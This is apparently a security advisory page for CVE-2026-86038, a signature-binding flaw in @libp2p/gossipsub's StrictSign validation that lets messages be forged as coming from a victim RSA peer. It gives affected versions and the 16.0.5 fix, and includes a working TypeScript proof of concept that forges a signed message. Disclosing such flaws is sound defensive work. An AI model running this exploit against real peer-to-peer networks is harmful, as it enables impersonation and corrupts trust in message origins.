CVE-2026-86038: libp2p: Gossipsub StrictSign accepts attacker-signed messages as a victim RSA peer ID

Published Sep 17, 2026
·
Updated

Summary @libp2p/gossipsub StrictSign validation does not bind a supplied message public key to the claimed from peer ID when from is an RSA-style peer ID that does not inline its public key. An attacker can set from to a victim RSA peer ID, sign the message with the attacker's own private key, include the attacker's public key in msg.key, and have the message accepted as a valid signed message from the victim.

Details The vulnerable code is in packages/gossipsub/src/utils/buildRawMessage.ts inside validateToRawMessage.

When msg.key is present:

ts publicKey = publicKeyFromProtobuf(msg.key) if (fromPeerId.publicKey !== undefined && !publicKey.equals(fromPeerId.publicKey)) { return { valid: false, error: ValidateError.InvalidPeerId } }

For RSA peer IDs parsed from the wire from multihash, fromPeerId.publicKey is undefined because the RSA public key is not inlined in the peer ID. This means the key-to-from comparison is skipped. The code then verifies the signature with the attacker-supplied msg.key and returns a signed message whose from is the victim RSA peer ID.

The missing invariant is:

ts peerIdFromPublicKey(publicKey).equals(fromPeerId)

This check must be performed whenever a public key is supplied, including keyless peer ID representations such as RSA peer IDs.

StrictSign is the default gossipsub signature policy in packages/gossipsub/src/gossipsub.ts:

ts this.globalSignaturePolicy = opts.globalSignaturePolicy ?? StrictSign

Version tracing:

- git blame points the vulnerable validateToRawMessage block to 9a9b11fd44 (fix!: remove pubsub (#3291)), which introduced packages/gossipsub/src/utils/buildRawMessage.ts. - That commit's packages/gossipsub/package.json still reports 14.1.1, but the first gossipsub-v release tag in this checkout that contains the vulnerable block is gossipsub-v15.0.0.

PoC

ts // TypeScript ESM PoC. import { strict as assert } from 'node:assert' import { generateKeyPair, publicKeyToProtobuf } from '@libp2p/crypto/keys' import { StrictSign } from '@libp2p/gossipsub' import { peerIdFromPrivateKey } from '@libp2p/peer-id' import { concat as uint8ArrayConcat } from 'uint8arrays/concat' import { fromString as uint8ArrayFromString } from 'uint8arrays/from-string' import { RPC } from '../../packages/gossipsub/dist/src/message/rpc.js' import { SignPrefix, validateToRawMessage } from '../../packages/gossipsub/dist/src/utils/buildRawMessage.js'

const label = 'gossipsub StrictSign RSA author spoof'

function seqno (n: bigint): Uint8Array { const out = new Uint8Array(8) new DataView(out.buffer).setBigUint64(0, n, false) return out }

async function main (): Promise<void> { const attackerKey = await generateKeyPair('Ed25519') const victimRsaKey = await generateKeyPair('RSA', 512) const victim = peerIdFromPrivateKey(victimRsaKey)

const msg: RPC.Message = { from: victim.toMultihash().bytes, data: uint8ArrayFromString('forged as victim RSA peer'), seqno: seqno(1n), topic: 'poc-topic', signature: undefined, key: undefined }

// Sign the protobuf message that claims victim in from, using attacker's key. const bytes = uint8ArrayConcat([SignPrefix, RPC.Message.encode(msg)]) msg.signature = await attackerKey.sign(bytes) msg.key = publicKeyToProtobuf(attackerKey.publicKey)

const result = await validateToRawMessage(StrictSign, msg)

if (!result.valid) { throw new Error(expected forged message to validate, got ${result.error}) }

assert.equal(result.message.type, 'signed') assert.equal(result.message.from.equals(victim), true) assert.equal(result.message.key.equals(attackerKey.publicKey), true)

console.log(${label} reproduced) console.log(claimed victim RSA author: ${victim}) console.log('signature verified with attacker-supplied key') }

main().catch(err => { console.error(err) process.exitCode = 1 }) Expected output:

text gossipsub StrictSign RSA author spoof reproduced claimed victim RSA author: QmcFsT6SHgxy1LXcUbz4aNSn9Wcj6JsJSMsSjB3ud1wT4f signature verified with attacker-supplied key

Impact Attackers can forge gossipsub messages attributed to arbitrary victim RSA peer IDs under the default StrictSign policy. Applications that trust message.from in topic validators, authorization logic, accounting, moderation, reputation, or audit logs can be misled into treating attacker-controlled data as if it was authored by the victim.

The forged message can also be considered valid by gossipsub's validation path and forwarded to peers, spreading the incorrect origin attribution through the pubsub mesh.

Other sources

libp2p is a JavaScript implementation of the libp2p networking stack. From 15.0.0 until 16.0.5, @libp2p/gossipsub uses the default StrictSign policy in packages/gossipsub/src/utils/buildRawMessage.ts, where validateToRawMessage verifies a signature with attacker-controlled msg.key but skips binding that key to msg.from when the claimed author is an RSA peer ID that does not inline a public key. An unauthenticated attacker can place a victim RSA peer ID in msg.from, sign the message with the attacker's private key, and supply the attacker's public key in msg.key, causing the message to be accepted and propagated as authored by the victim. Applications that trust message.from for validators, authorization, accounting, moderation, reputation, or audit logging can process attacker-controlled data under false origin attribution. The issue is fixed in version 16.0.5.

MITRE

Affected Software

2 affected componentsFixes available
npm/@libp2p/gossipsub>15.0.0<=16.0.5
npm/@libp2p/gossipsub>=15.0.0<16.0.5
16.0.5

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/@libp2p/gossipsub to a version that resolves this vulnerability.

    Fixed in 16.0.5
  2. Upgrade

    Upgrade @libp2p/gossipsub to a version that resolves this vulnerability.

    Fixed in 16.0.5

Event History

Sep 17, 2026
CVE Published
via MITRE·03:16 PM
Data Sourced
via MITRE·03:16 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·05:29 PM
Data Sourced
via GitHub·05:29 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are affected?

Deployments using npm/@libp2p/gossipsub from 15.0.0 through versions before 16.0.5 are affected when using the default StrictSign policy. The false-attribution condition applies when the claimed author is an RSA peer ID that does not inline its public key.

2

What does an attacker need to exploit this?

An attacker does not need authentication or user interaction. They can claim a victim RSA peer ID in msg.from, sign with their own private key, and provide their own public key in msg.key.

3

What is the practical impact on an application?

Affected applications can accept and propagate attacker-controlled messages as though they were authored by the victim peer. Risk is greatest where message.from is trusted for validation, authorization, accounting, moderation, reputation, or audit logging.

4

What should teams do to remediate the issue?

Upgrade @libp2p/gossipsub to version 16.0.5, which fixes the issue. Until upgraded, do not rely on message.from as proof of origin for the affected RSA peer-ID case.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203